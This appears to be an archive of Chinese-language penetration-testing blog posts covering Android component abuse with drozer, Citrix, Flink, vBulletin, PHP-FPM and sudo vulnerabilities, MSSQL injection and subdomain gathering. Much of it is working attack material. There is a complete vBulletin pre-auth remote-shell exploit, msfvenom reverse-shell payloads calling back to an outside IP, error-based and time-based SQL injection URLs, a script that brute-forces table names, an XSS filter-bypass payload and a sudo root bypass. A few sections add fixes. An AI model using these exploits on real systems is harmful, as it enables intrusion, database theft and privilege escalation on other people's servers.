Classification:Penetration

Classification (Penetration)'s result:

利用drozer测试安卓四大组件

0x00 安装drozer windows: 在github下载msi安装文件执行,装在local disk python27下。 pip install protobuf pyOpenSSL Twisted service_identity 下载drozer agent https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk adb.exe install drozer-agent.apk adb.exe install test.apk 开启drozer-agent enable adb forward tcp:31415 tcp:31415 cd C:\python27\scripts: drozer console connect      0x01 Activity PWList的activity设置为了true,有被导出风险。 未授权访问 dz> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList   0x02 Broadcast receiver的exported未设置,可被利用。   发送恶意广播 run app.broadcast.send –action org.owasp.goatdroid.fourgoats.SOCIAL_SMS –extra string phoneNumber 1234 –extra string message pwnd dos造成崩溃 run app.broadcast.send –action org.owasp.goatdroid.fourgoats.SOCIAL_SMS     0x03 Service 没设置exported为false,默认可以导出。 启动GPS位置服务。 run app.service.start –action org.owasp.goatdroid.fourgoats.services.LocationService –component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService     0x04 Content 列出可访问内容URI的列表和路径: SQL注入:   0x05 相关命令 run scanner.provider.finduris -a com.mwr.example.sieve run app.service.info -a org.owasp.goatdroid.fourgoats run app.service.start –action org.owasp.goatdroid.fourgoats.services.LocationService –component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–” run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–” run scanner.provider.injection -a com.mwr.example.sieve run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data run app.provider.info -a com.mwr.example.sieve run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService –msg 2354 9234 0 –extra stringcom.mwr.example.sieve.PIN 1234 –bundle-as-obj run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Keys/  –projection “* from Passwords;–” run scanner.provider.traversal -a com.mwr.example.sieve   0x06 参考资料 https://www.freebuf.com/column/175218.html https://www.freebuf.com/articles/web/165466.html https://www.jianshu.com/p/dfa92bab3a55  

citrix netscaler网关RCE漏洞重现及分析(CVE-2019-19781)

0x00 概述 201912,网上爆出citrix网管的rce漏洞,具体细节已公开(20200111),此漏洞无需身份验证,影响较大(8w)。首先利用目录穿越(有限文件读取)写入恶意xml文件到特定目录,再利用模板解析造成rce。   0x01 漏洞重现       0x02 修复方案 参考官方 https://support.citrix.com/article/CTX267027   0x03 漏洞分析 //图片来自https://twitter.com/mpgn_x64 从HTTP_NSC_USER获取$username,变量的过滤被注释了…… UsersPrefs perl module: 所以攻击者可以控制$username,作为后续的xml文件名,比如设置成../../some/path造成目录穿越,导致写入到任意目录(./portal/templates/) 而且这个xml内容的title和desc可控 //所有调用这个csd方法的脚本(几乎所有)都会造成目录穿越,如新建书签。 newbm.pl : my $cgi = new CGI;print “Content-type: text/html\n\n”; my $user = NetScaler::Portal::UserPrefs->new(); my $doc = $user->csd(); … my $newurl = Encode::decode(‘utf8’, $cgi->param(‘url’)); my $newtitle = Encode::decode(‘utf8’, $cgi->param(‘title’)); my $newdesc = Encode::decode(‘utf8’, $cgi->param(‘desc’)); my $UI_inuse = Encode::decode(‘utf8’, $cgi->param(‘UI_inuse’)); … my $newBM = { url => $newurl, title => $newtitle, descr => $newdesc, UI_inuse => $UI_inuse, }; … if ($newBM->{url} =~ /^\/){ push @{$doc->{filesystems}->{filesystem}}, $newBM; } else { # bookmark push @{$doc->{bookmarks}->{bookmark}}, $newBM; }// Writing XML file to disk $user->filewrite($doc); 调用filewrite方法写入一些数据到$doc,即可控的文件名($username)。 当恶意的xml文件(Perl Template Toolkit)写入到./portal/templates/这个目录下,利用GET请求/vpn/../vpns/portal/zxcxz.xml就可以使模板工具包引擎加载解析这个恶意xml文件造成rce。 $doc就是$username,$tmplfile变量是从HTTP请求路径构造的,并为该文件构建并处理了一个新模板。   0x04 参考资料 https://twitter.com/mpgn_x64 https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/ https://github.com/jas502n/CVE-2019-19781

又又一次mssql注入

记一次mssql注入历程 又一次mssql注入历程   0x00 爆数据库 过滤了单引号,空格等 利用char,0x绕过,注意%2b编码 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,((select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=5)))–     0x01 爆表名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111))))– 写个脚本跑表 #coding:utf-8 #Author:LSA import sys import requests from bs4 import BeautifulSoup import re headers = { ‘Cookie’: ”, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36’ } global tables_name tables_name = “char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)” #print tables_name def deal_table_name(table_name): xx = ” xxxx = ” for i in range(0,len(table_name)): xx = xx + str(ord(table_name[i])) + ‘ ‘ print xx xxx = xx[:-1].split(‘ ‘) print xxx for i in range(0,len(xxx)): xxxx = xxxx + ‘char(‘ + xxx[i] + ‘)’ + ‘%2b’ return xxxx[:-3] def brute_tables(url): for i in range(0,300): url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,”lxml”) title = soup.title.string #print title table_name = re.findall(r”‘(.*?)'”,title) print table_name[0] table_name = deal_table_name(table_name[0]) print table_name global tables_name tables_name = tables_name + ‘,’ + table_name #print tables_name print tables_name def main(url): brute_tables(url) if __name__ == ‘__main__’: url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ main(url) 0x02 爆列名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/COLUMN_NAME/**/from/**/jy.information_schema.columns/**/where/**/TABLE_NAME=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)/**/and/**/COLUMN_NAME/**/not/**/in(char(73)%2bchar(100))))–   0x03 爆数据 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/username/**/from/**/Users))–   0x04……

子域名收集方法汇总

0. dns zone transfer   1. HTTPS证书 https://transparencyreport.google.com/https/certificates https://censys.io/certificates?q=0sec.com.cn 查看https证书   2. 文件泄漏 crossdomain.xml robots.txt   3. 搜索引擎 shadon site:xxx.com   4. 在线工具 云悉 https://crt.sh/ https://dnsdumpster.com/ https://x.threatbook.cn/ http://tool.chinaz.com/subdomain/ https://spyse.com/site/not-found?q=domain%3A%22github%22&criteria=cert   5. 挖掘工具 layer,subdomainbrute等等     6. 数据聚合网站 threatcrowd https://scans.io/study/sonar.rdns_v2 https://opendata.rapid7.com/   7. 子域名监控 sublert/get_domain/assetnote/LangSrcCurise   8. 其他 流量(burp插件domain_hunter) github  

又一次mssql注入历程

//记一次mssql注入历程 0x00 前置知识 先梳理连接数据库用户名,当前数据库用户名,数据库服务器角色,数据库角色的概念   数据库用户名 user—连接数据库用户名(登录名) –user() user_name()—连接数据库用户名(登录名) suser_sname()—当前数据库用户名 system_user—当前数据库用户名 如果看到dbo 那么多半当前数据库的用户是dba权限。   数据库服务器角色 ?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 固定服务器角色 固定服务器角色具有一组固定的权限,并且适用于整个服务器范围。 它们专门用于管理 SQL Server,且不能更改分配给它们的权限。 可以在数据库中不存在用户帐户的情况下向固定服务器角色分配登录。 说    明 Sysadmin sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除 执行SQL Server中的任何动作   serveradmin 配置服务器设置   setupadmin 安装复制和管理扩展过程   securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计   processadmin 管理SQL Server进程   dbcreator 创建和修改数据库   diskadmin 管理磁盘文件   数据库角色 ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–   固定数据库角色 固定数据库角色具有一组预定义的权限,这些权限旨在允许您轻松管理权限组。 db_owner 角色的成员可对数据库执行所有配置和维护活动。   说    明 db_owner 可以执行数据库中技术所有动作的用户   db_accessadmin 可以添加、删除用户的用户   db_datareader 可以查看所有数据库中用户表内数据的用户   db_datawriter 可以添加、修改或删除所有数据库中用户表内数据的用户   db_ddladmin 可以在数据库中执行所有DDL操作的用户   db_securityadmin 可以管理数据库中与安全权限有关所有动作的用户   db_backoperator 可以备份数据库的用户(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)   db_denydatareader 不能看到数据库中任何数据的用户   db_denydatawriter 不能改变数据库中任何数据的用户   要使用数据库对象,必须将登录映射到数据库用户帐户。 dbo 或数据库所有者是具有在数据库中执行所有活动的默示权限的用户帐户。 sysadmin 固定服务器角色的成员会自动映射到 dbo   数据库登录名-数据库服务器角色(sa-sysadmin) 当前数据库用户名-数据库角色(dbo-db_owner) 一般sa-dbo   SQLSERVER就象一栋大楼,里面的每个房间都是一个数据库.登录名只是进入大楼的钥匙,而用户名则是进入房间的钥匙.一个登录名可以有多 个房间的钥匙.SQLSERVER把登录名与用户名的关系称为映射. —忘记出自哪篇文章了,比较形象。   0x01 起源 时间盲注 dbo用户   这下应该没啥曲折吧 继续开存储过程弹shell看看 没反应…….盲注爆数据太慢,算了收工。 猜测第一个表长度 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20(len(name))>11)=1%20waitfor%20delay%20’0:0:2’%20–   猜测第一个表第一个字母 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20ascii(substring(name,1,1))=75)=1%20waitfor%20delay%20’0:0:2’%20–   以此类推 猜列名 .aspx?id=1′;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name=’admin’),1,1)))>80 ‘0:0:5’%20–%20 猜密码 .aspx?id=1′;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay ‘0:0:5’%20–%20   0x02 参考资料 https://blog.csdn.net/e_online/article/details/4597957

Apache flink任意jar上传导致rce漏洞重现

0x00 概述 20191111,网上爆出Apache Flink上传jar包导致远程代码执行的漏洞(安全工程师Henry Chen披露)。因为Apache Flink Dashboard 默认无需认证即可访问,所以可以上传恶意jar包并触发恶意代码执行,从而getshell。 影响范围<= 1.9.1   0x01 漏洞重现 “apache-flink-dashboard” 1)利用MSF msfvenom -p java/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=7766 W >poc.jar 2)利用nc msfvenom -p java/shell_reverse_tcp lhost=1.2.3.4 lport=7766 -f jar > poc.jar   0x02 防御方案 1.设置防火墙策略,仅允许白名单ip访问 apache flink。 2.Web代理(如apache httpd)中增加对该服务的digest认证。 3.关注官网新版本或补丁更新。        

一次xss fuzz绕过防护

  经测试双写,大小写,url编码,超长字符串等都无法绕过 fuzz html tag 大部分标签都可用,就选p标签吧 系统过滤了一些on事件,再fuzz html onevent 还是有大部分可用 尝试<p%20onmouseout=alert`x`>xss</p> 经测试,系统过滤了一些关键字如下 href src alert confirm prompt javascript script 直接unicode编码alert 构造poc “><p onmouseout=\u0061\u006c\u0065\u0072\u0074`x`>xss</p> 成功弹窗        

vBulletin 5.x 0day pre-auth RCE漏洞重现

0x00 概述 201909 vbulletin5(5.0.0-5.5.4)爆出rce漏洞,利用文件ajax/render/widget_php和post参数widgetConfig[code]可直接远程代码执行。   0x01 漏洞重现 https://seclists.org/fulldisclosure/2019/Sep/31 #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # – site:*.vbulletin.net # – “Powered by vBulletin Version 5.5.4”   import requests import sys   if len(sys.argv) != 2: sys.exit(“Usage: %s <URL to vBulletin>” % sys.argv[0])   params = {“routestring”:”ajax/render/widget_php”}   while True: try: cmd = raw_input(“vBulletin$ “) params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;” r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit(“Exploit failed! :(“) except KeyboardInterrupt: sys.exit(“\nClosing shell…”) except Exception, e: sys.exit(str(e))   0x02 检测工具 https://github.com/theLSA/vbulletin5-rce   0x03 修复方案 打补丁。    

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

sudo漏洞可绕过sudoers安全配置并以root执行命令

0x00 概述 20191015 网上爆出sudo漏洞cve-2019-14287(苹果研究员joe vennix发现),即使在sudoers文件中配置了不允许以root执行某命令,但是攻击者可以利用#-1或#4294967295绕过安全配置,并以root执行某命令。 该漏洞影响bash<1.8.28   0x01 漏洞重现 sudo -u#-1 vim   0x02 漏洞分析 #-1(32位二进制数值溢出后被截断)或#4294967295(2的32次方-1)会被id转用户名的函数误认为 0。Root用户id为0,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。 此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块。如果sudoers 条目被写入允许用户以除 root 身份以外的用户身份运行命令,则可利用该 bug 绕过该限制。   0x03 结语 sudoers标准配置无安全问题,不用慌……